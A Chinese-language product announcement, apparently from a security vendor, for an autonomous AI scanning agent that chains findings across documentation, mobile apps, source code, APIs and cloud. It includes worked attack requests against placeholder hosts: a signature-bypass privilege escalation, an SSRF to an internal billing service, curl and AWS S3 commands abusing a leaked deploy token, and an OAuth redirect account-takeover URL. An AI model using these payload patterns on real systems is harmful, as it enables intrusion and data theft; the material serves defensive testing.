隆重推出多资产深度智能体扫描（Multi-Asset Deep Agentic Scan）：贯穿整个应用的关联测试

多资产深度智能体扫描在一次关联的智能体式调查中，评估彼此相关的移动、Web、API、网络、源代码和文档资产。

Abir Jelti 2026年9月2日

设想有一个自主安全智能体，在同一次评估中获得了对某组织架构文档、API 模式（schema）、移动应用、后端源代码和实时 Web 服务的访问权限。

下面是当该智能体在单一、关联的工作流程中跨越全部五类资产边界展开调查时所发生的情况：

阅读文档：通过摄取开发者架构文档，智能体发现了一条未公开的特权路由：/api/v2/user/elevate-tier。文档表明，该端点严格限制为仅供使用加密请求签名的、已通过身份验证的移动客户端会话访问。
解析 API 模式：智能体检查 OpenAPI 模式以确定预期参数：target_user_id、requested_tier: "enterprise_verified"，以及必需的请求头（X-Device-Id、X-Timestamp、X-App-Signature）。
逆向工程移动应用：通过反编译移动应用二进制文件（.apk），智能体追踪网络相关的例程，查明 X-App-Signature 是如何生成的——一个基于时间戳和请求体计算出的 HMAC-SHA256 签名。
审查后端源代码：通过交叉比对后端仓库（auth_middleware.py），智能体检查服务器如何校验传入的签名。它发现了一处授权逻辑漏洞：传入一个未在文档中记录的查询参数 ?client_mode=legacy_sync 会导致校验函数提前返回 True，从而完全绕过加密签名检查。
执行实时 API 验证：将文档中的路由、OpenAPI 中的 payload 模式、移动二进制文件中的客户端请求头以及源代码中的绕过逻辑结合起来，智能体构造并发送了一个实时 HTTP 请求到该 API。请求成功，证明了未经授权的权限提升，并交付了一份经过验证、可复现的概念验证（PoC）。

POST /api/v2/user/elevate-tier?client_mode=legacy_sync HTTP/1.1
Host: api.target-app.com
X-Device-Id: mobile-client-anonymous
X-Timestamp: 1724687520
Content-Type: application/json

{
  "target_user_id": "usr_94827104",
  "requested_tier": "enterprise_verified"
}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "success",
  "user_id": "usr_94827104",
  "tier": "enterprise_verified",
  "auth_mode": "legacy_sync"
}

为什么孤立的工具会漏掉现代漏洞

现实世界中的攻击者并不尊重工具边界或资产分类。他们不会把自己的侦察划分为“SAST 扫描”“DAST 爬取”或“移动逆向工程”。相反，攻击者将企业的数字足迹视为一张由信任关系、共享密钥和未经校验的接口所构成的连续、相互关联的网络。

他们会主动寻找系统之间的接缝——也就是当一个团队或组件所做的假设在与另一个交互时失效的那些确切断层线。

传统安全测试工具在面对现代架构时会系统性地失败，因为它们从根本上被限制在单一资产的孤岛之中：

┌─────────────────────────────────────────────────────────────────────────────┐
│                   THE SILOED SCANNING BLIND SPOT                           │
└─────────────────────────────────────────────────────────────────────────────┘

  [ Documentation ]  ──► Unread by scanners (Hidden routes, trust boundaries ignored)
          │
  [ Mobile Binary ]  ──► Analyzed in isolation (Client crypto verified; server blind)
          │
  [ Source Code   ]  ──► SAST flags 1,000+ theoretical flaws (No reachability)
          │
  [ Web API / App ]  ──► DAST blocked by 401/403 walls & missing client signatures
          │
  [ Network / Cloud] ──► Port scans show open ports (Zero business logic context)

1. SAST：在没有可达性的情况下淹没于误报之中

静态应用安全测试（SAST）工具解析源代码仓库内部的抽象语法树（AST）。虽然它在识别理论上的代码模式方面行之有效，但 SAST 存在严重的结构性盲区： * 零可达性上下文：SAST 无法判断一个存在漏洞的代码分支是否实际通过 API 网关暴露、是否部署在某个入口控制器（ingress controller）之后，或是否受到网络防火墙的屏蔽。 * 告警疲劳：安全工程师和开发人员被数以百计、未经排序的警告所淹没，其中超过 85% 在生产环境中不可被利用。 * 缺失部署上下文：SAST 无法验证某个未经身份验证的方法是否以真实的运行时参数被调用，或是否被上游中间件所绕过。

2. DAST：撞上 401/403 的高墙与加密签名

动态应用安全测试（DAST）和黑盒 Web 漏洞扫描器从外部向公开 URL 盲目地发送 HTTP 请求： * 身份验证屏障：现代应用强制实施多因素身份验证、OAuth 流程以及与设备绑定的会话令牌。DAST 工具经常会丢失身份验证状态，或无法完成复杂的登录流程。 * 加密签名：当 API 需要自定义客户端请求头（例如 HMAC-SHA256 请求签名、双向 TLS，或在移动应用内部生成的动态时间戳随机数）时，DAST 请求会在边界处立即被以 401 Unauthorized 或 403 Forbidden 拒绝。 * 参数无知：在缺乏内部可见性的情况下，DAST 无法猜出隐藏的调试参数（如 ?client_mode=legacy_sync）或内部未公开的模式。

3. 移动 AST：局限于客户端沙箱

移动应用安全测试工具通过反编译 APK 和 IPA，来评估客户端加固、密钥库实现和代码混淆： * 单向可见性：移动 AST 能够确认某个 Android 或 iOS 应用是否实现了强加密签名、健壮的证书锁定和安全的本地存储。 * 后端盲区：移动扫描器对于后端 API 服务器是否真正强制执行那些加密检查、或服务器端代码是否包含遗留的授权绕过，毫无可见性。

4. 网络扫描器：缺乏应用语义

网络和基础设施扫描器扫过 IP 段，查找开放的 TCP/UDP 端口、TLS 证书有效性以及暴露的服务横幅（banner）： * 没有业务逻辑：端口扫描器能识别出端口 443 或 8080 处于开放状态，但它无法理解多步骤的 API 工作流程、JSON payload 或多租户授权逻辑。 * 边界孤立：网络扫描器无法将一个开放的内部端口与一个可作为跳板向量的外部 Web 应用漏洞关联起来。

当安全测试被划分为相互孤立的孤岛时，那些横跨文档、客户端二进制文件、后端仓库和实时云环境的严重漏洞便完全处于不可见状态。

现实世界中的多跳跨资产攻击链

为了展示相互关联的智能体式推理如何揭示复杂漏洞，我们来看在现实世界应用足迹中识别出的三条具体的多跳攻击链。

攻击链 1：架构文档 + Web 应用 SSRF + 内部微服务跳板

在现代云架构中，组织经常部署无需身份验证的内部微服务，完全依赖 VPC 网络边界来实现隔离。

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Architecture Docs │ ───► │ 2. Public Web App    │ ───► │ 3. Internal Microservice  │
│ Discovers internal   │      │ Finds Blind SSRF     │      │ Extracts sensitive        │
│ billing endpoint     │      │ in avatar import     │      │ customer financial data   │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. INGESTION  : Agent indexes architecture docs (architecture_overview.md)  │
│                 Identifies: http://10.0.4.12:8080/internal/billing/export    │
│ 2. RECON      : Agent crawls public web portal (app.target-company.com)      │
│                 Locates image import: POST /api/v1/profile/avatar-fetch     │
│ 3. HYPOTHESIS : Web app lacks RFC 1918 private IP filtering → SSRF pivot    │
│ 4. EXECUTION  : Agent dispatches SSRF payload targeting internal billing IP │
│ 5. VALIDATION : Server returns raw JSON billing records (Verified PoC)      │
└─────────────────────────────────────────────────────────────────────────────┘

摄取架构文档：在文档摄取阶段，智能体为内部架构设计说明（architecture_overview.md）建立索引。该文档详细描述了一个内部财务微服务，它部署在 http://10.0.4.12:8080/internal/billing/export, 并明确指出该服务之所以在无需身份验证的情况下运行，是因为它位于内部私有 VPC 子网之内。
发现 Web 应用向量：在测试公开 Web 应用（https://app.target-company.com）时，智能体分析用户个人资料设置，并识别出一个位于 /api/v1/profile/avatar-fetch 的图像导入端点，它接受一个远程 image_url 参数。
跨资产跳板综合研判：通过将文档中的内部 IP 和路由，与公开 Web 应用上未经校验的 URL 输入关联起来，智能体提出了一个跳板假设：利用该 Web 应用的服务器端请求伪造（SSRF）向量，去触达未经身份验证的内部计费服务。
实时执行与已验证的数据窃取：智能体通过该公开 Web 端点发送了一个精心构造的 JSON payload。服务器针对内部子网执行了后端请求，并在 HTTP 响应中直接返回了原始的客户计费记录。

POST /api/v1/profile/avatar-fetch HTTP/1.1
Host: app.target-company.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "user_id": "usr_55102",
  "image_url": "http://10.0.4.12:8080/internal/billing/export?format=json&limit=2"
}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "imported",
  "raw_data": {
    "transactions": [
      {
        "tx_id": "tx_99812",
        "amount": 4250.00,
        "currency": "USD",
        "customer_email": "cfo@enterprise-corp.com",
        "card_last4": "4242"
      },
      {
        "tx_id": "tx_99813",
        "amount": 18900.00,
        "currency": "USD",
        "customer_email": "treasury@fintech-global.io",
        "card_last4": "1098"
      }
    ]
  }
}

扫描会自动捕获这一事务流程，确认完全可被利用，并在无需任何人工分级处理的情况下生成一份确定性的概念验证。

攻击链 2：源代码密钥泄露 + 实时 API + 云 IAM 权限提升

Git 提交历史中被遗弃的密钥，往往能在例行代码审查中逃过检测，却在云环境中仍保留着高权限。

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Git Commit History│ ───► │ 2. Live API Gateway  │ ───► │ 3. Cloud Storage / IAM    │
│ Unearths orphaned    │      │ Exchanges token for  │      │ Lists & accesses          │
│ staging deploy token │      │ temporary STS keys   │      │ production database dumps │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. STATIC REPO: Agent scans Git history; extracts stg_deploy_9f8a87b3c1d2e4  │
│ 2. LIVE PROBE : Tests token against live API (api.target-company.com/v1/sts)│
│ 3. PERMISSIONS: Obtains STS credentials; enumerates attached IAM policies   │
│ 4. ESCALATION : Discovers wildcard s3:GetObject & s3:ListBucket privileges  │
│ 5. VALIDATION : Executes live S3 bucket listing of prod database backups    │
└─────────────────────────────────────────────────────────────────────────────┘

挖掘仓库提交历史：智能体审计源代码仓库，包括未合并的 staging 分支和提交差异。在一个八个月前提交的归档脚本（scripts/deploy_staging.sh）中，智能体挖出了一个仍然有效的部署令牌：stg_deploy_9f8a87b3c1d2e4。
实时 API 身份验证：智能体没有仅仅生成一条静态密钥警告，而是针对实时生产 API 网关测试了这个候选凭据，网关地址为 https://api.target-company.com/v1/internal/sts/token. 网关校验了该令牌，并签发了临时云安全凭据（AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN）。
评估云 IAM 边界：智能体检查附加到所担任会话角色（Role/StagingDeployer）的 IAM 策略，发现虽然计算权限受到限制，但存储权限却包含一个过于宽松的通配符：对 arn:aws:s3:::* 的 s3:ListBucket 和 s3:GetObject。
对敏感云数据的实时验证：智能体针对云存储端点执行签名请求，证明可直接、未经授权地访问生产数据库备份。

# Automated Proof of Concept generated by Multi-Asset Deep Agentic Scan:

# Step 1: Authenticate against live API with discovered repository secret
curl -s -X POST "https://api.target-company.com/v1/internal/sts/token" \
  -H "X-Deploy-Token: stg_deploy_9f8a87b3c1d2e4" \
  -H "Content-Type: application/json"

# Returned Session Credentials:
# {
#   "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
#   "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
#   "SessionToken": "AQoDYXdzEJr1...",
#   "Expiration": "2026-09-02T14:00:00Z"
# }

# Step 2: Validate live cloud storage access
aws s3 ls s3://prod-customer-backups-2026/ --region us-east-1

# Output:
# 2026-09-01 04:00:15  14.5GB  prod_db_dump_20260901.sql.gz
# 2026-09-02 04:00:12  14.8GB  prod_db_dump_20260902.sql.gz

攻击链 3：移动深度链接 + Web OAuth 配置错误 + 账户接管

在单点登录（SSO）身份验证流程中，客户端移动应用的配置往往会与服务器端的身份提供方发生危险的交叉。

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Mobile Decompile  │ ───► │ 2. Web OAuth Server  │ ───► │ 3. Account Takeover       │
│ Uncovers exported    │      │ Identifies wildcard  │      │ Intercepts auth codes via │
│ custom deep link URI │      │ redirect_uri scheme  │      │ malicious redirect chain  │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. DECOMPILE  : Agent decompiles Android manifest & locates exported handler│
│                 Activity: OAuthRedirectActivity (scheme: myapp://auth/cb)   │
│ 2. CODE AUDIT : Activity accepts code & exchanges tokens without PKCE/state │
│ 3. OAUTH PROBE: Web OAuth server allows custom URI schemes for public client│
│ 4. SYNTHESIS  : Agent constructs crafted authorization URL with deep link   │
│ 5. VALIDATION : Intercepts authorization code, proving account takeover PoC │
└─────────────────────────────────────────────────────────────────────────────┘

逆向工程移动深度链接：通过反编译 Android 应用程序包（.apk），智能体解析 AndroidManifest.xml，发现一个被导出的 Activity，它被配置用来处理自定义深度链接回调：

<activity android:name=".ui.auth.OAuthRedirectActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="myapp" android:host="auth" android:path="/callback" />
    </intent-filter>
</activity>

审计客户端令牌握手：在 OAuthRedirectActivity.kt 中，智能体发现当应用收到一个包含授权码的传入 Intent（myapp://auth/callback?code=...）时，它会立即用该授权码换取会话令牌，而不校验 state 参数，也不强制执行 PKCE（Proof Key for Code Exchange）。
探测 Web OAuth 端点：在测试 Web OAuth 2.0 授权服务器（https://auth.target-company.com/oauth/v2/authorize）时，智能体发现该服务器允许公开客户端 ID 使用自定义 URI scheme，并对 redirect_uri 参数执行宽松的正则校验。
综合构造账户接管 PoC：智能体构造了一个用于漏洞利用的授权链接：

https://auth.target-company.com/oauth/v2/authorize?client_id=web_client_public&response_type=code&redirect_uri=myapp://auth/callback&scope=openid%20profile%20email

当一个已通过身份验证的受害者访问此链接时，OAuth 服务器会签发一个授权码，并直接重定向到该自定义移动 URI scheme。设备上注册的任何恶意应用，或一个流氓 Web 重定向处理程序，都会拦截该授权码，从而导致彻底的、零交互的账户接管。

范式转变：基于统一认知图谱的自主红队

传统做法试图通过并行运行多个独立扫描器、并将它们的检测结果汇总到一个集中的漏洞管理控制台中，来弥合工具孤岛。

这种汇总之所以失败，是因为汇总不等于关联，而关联也不等于推理。

一个控制台同时显示来自 Git 的静态密钥和来自网络扫描的开放端口，却无法识别出该密钥正好能解锁那个端口上的 API。多资产深度智能体扫描代表着一次根本性的范式转变：一个在统一认知图谱上运作的自主红队。

┌─────────────────────────────────────────────────────────────────────────────┐
│                   UNIFIED COGNITIVE ATTACK GRAPH                            │
└─────────────────────────────────────────────────────────────────────────────┘
                                       │
            ┌──────────────────────────┼──────────────────────────┐
            ▼                          ▼                          ▼
    [Documentation]             [Mobile Binary]            [Source Code]
    - Routes & Endpoints        - Cryptographic signing    - Logic bypass flaws
    - Internal network IP       - Exported deep links      - Leaked secrets
            │                          │                          │
            └──────────────────────────┼──────────────────────────┘
                                       ▼
                       [Dynamic Hypothesis Engine]
                     "Can Secret A unlock API Route B?"
                     "Can SSRF C reach Internal Service D?"
                                       │
            ┌──────────────────────────┴──────────────────────────┐
            ▼                                                     ▼
     [Live Web Application]                               [Cloud Infrastructure]
     - Runtime parameter testing                          - IAM privilege evaluation
     - Live exploit verification                          - Data access proof
                                       │
                                       ▼
                     [Verified Proof of Concept (PoC)]
                     Zero Hallucinations · 100% Signal

自主的跨资产推理循环

多资产深度智能体扫描并不执行线性脚本，而是跨越所有提供的资产运行一个迭代式认知循环：

实体与关系摄取：在文档中发现的每一条路由、从移动应用中反编译出的每一种加密算法、从 Git 中解析出的每一个代码分支，以及在 Web 流量中观察到的每一个参数，都会被映射为一个共享语义图谱中相互关联的节点。
动态假设构建：当在某个资产中发现新证据时，认知引擎会针对范围内的其他资产构建主动的安全假设（例如，“在 auth_middleware.py 中发现的绕过参数，是否适用于在 OpenAPI 文档中发现的实时 /api/v2/user/elevate-tier 端点？”）。
有针对性的 payload 合成：智能体合成具备上下文感知能力的漏洞利用 payload，将来自模式的参数、来自二进制文件的签名逻辑，以及来自代码的密钥结合起来。
实时执行与状态验证：智能体针对实时运行时环境发送 payload，观察响应，并根据服务器反馈调整其策略。
确定性的概念验证交付：只有在成功的实时验证之后，检测结果才会被报告，从而确保最终报告中的每一条告警都有一份可复现、经验证的概念验证作为支撑。

对每类资产深度测试，并在它们之间开展关联调查

多资产深度智能体扫描不会为了广泛的跨资产覆盖而牺牲针对特定资产的深度。评估中纳入的每一类资产，都会由专门的扫描器和特定领域的智能体进行分析：

移动应用：完整的静态和动态分析、二进制反编译、Intent 操纵、加密审计以及客户端存储检查。
Web 应用与 API：深度有状态爬取、身份验证流程测试、业务逻辑评估、注入测试以及 OpenAPI 模式校验。
源代码仓库：AST 级别的控制流分析、受污染数据跟踪、授权逻辑审计以及提交历史密钥检查。
网络与云服务：服务枚举、边界策略验证以及云 IAM 边界测试。
文档与规范：摄取 OpenAPI/Swagger 规范、Postman 集合、架构图以及内部工程文档。

┌─────────────────────────┬───────────────────────────────────┬───────────────────────────────────┐
│ Assessment Capability   │ Traditional Siloed Scanners       │ Multi-Asset Deep Agentic Scan     │
├─────────────────────────┼───────────────────────────────────┼───────────────────────────────────┤
│ Attack Surface Scope    │ Single asset per scan             │ Unified multi-asset application   │
│ Cross-Boundary Pivots   │ Impossible (Strictly isolated)    │ Native multi-hop reasoning        │
│ Authentication Handling │ Blocked by custom headers/crypto  │ Reverses client auth & signatures │
│ Finding Validation      │ Theoretical alerts & warnings     │ Executable, verified PoCs         │
│ False Positive Rate     │ High (Requires manual triage)     │ Reduced (Execution-verified)      │
│ Context Sharing         │ Zero context between tools        │ Real-time unified cognitive graph │
└─────────────────────────┴───────────────────────────────────┴───────────────────────────────────┘

为彼此相关的应用资产提供一份统一的配置

一次多资产深度智能体扫描可以包含：

一个移动资产，可从应用商店（Google Play 或 Apple App Store）中选择，或直接以 APK、AAB 或 IPA 文件的形式上传。
Web 应用和 Web API，配以身份验证凭据或 OpenAPI/Swagger 定义。
网络段和云边界，以面向公网的 IP 段、域名和云端点为目标。
代码仓库和源代码归档，支持 Git 仓库、zip 归档和私有仓库。
配套文档文件，包括 OpenAPI/Swagger 规范、Postman 集合、架构 PDF 和 Markdown 设计文档。

可以不受限制地向一次评估中添加多个非移动资产。所有提供的资产共享扫描配置、实时交换情报，并汇入一份整合的安全报告。

用户可以在 Ostorlab Cybermodels 和通过自带密钥（Bring Your Own Key，BYOK）提供自己的 API 密钥之间进行选择。评估可以按三种不同的投入级别进行配置：

Core：面向 CI/CD 流水线和持续发布周期的快速、自动化跨资产验证。
Advanced：面向定期合规和安全审计而设计的深入多跳智能体式探索。
Elite：面面俱到的自主红队，具备深度假设探索和完整攻击路径综合研判。

面向现代应用的关联范围

现代应用是分布式、相互关联的生态系统。要保护它们，就需要能够反映软件实际构建方式——以及攻击者实际突破方式——的安全测试。

多资产深度智能体扫描为安全团队提供了一种自主的、跨边界的测试能力，它深入调查每一类资产，沿着系统接缝追踪线索，并用经过验证的概念验证来证明真实的业务风险。

立即启动一次多资产深度智能体扫描，以评估您彼此关联的应用生态系统。

标签：

Security, Multi-Asset, AI, Automation, Deep Agentic Scan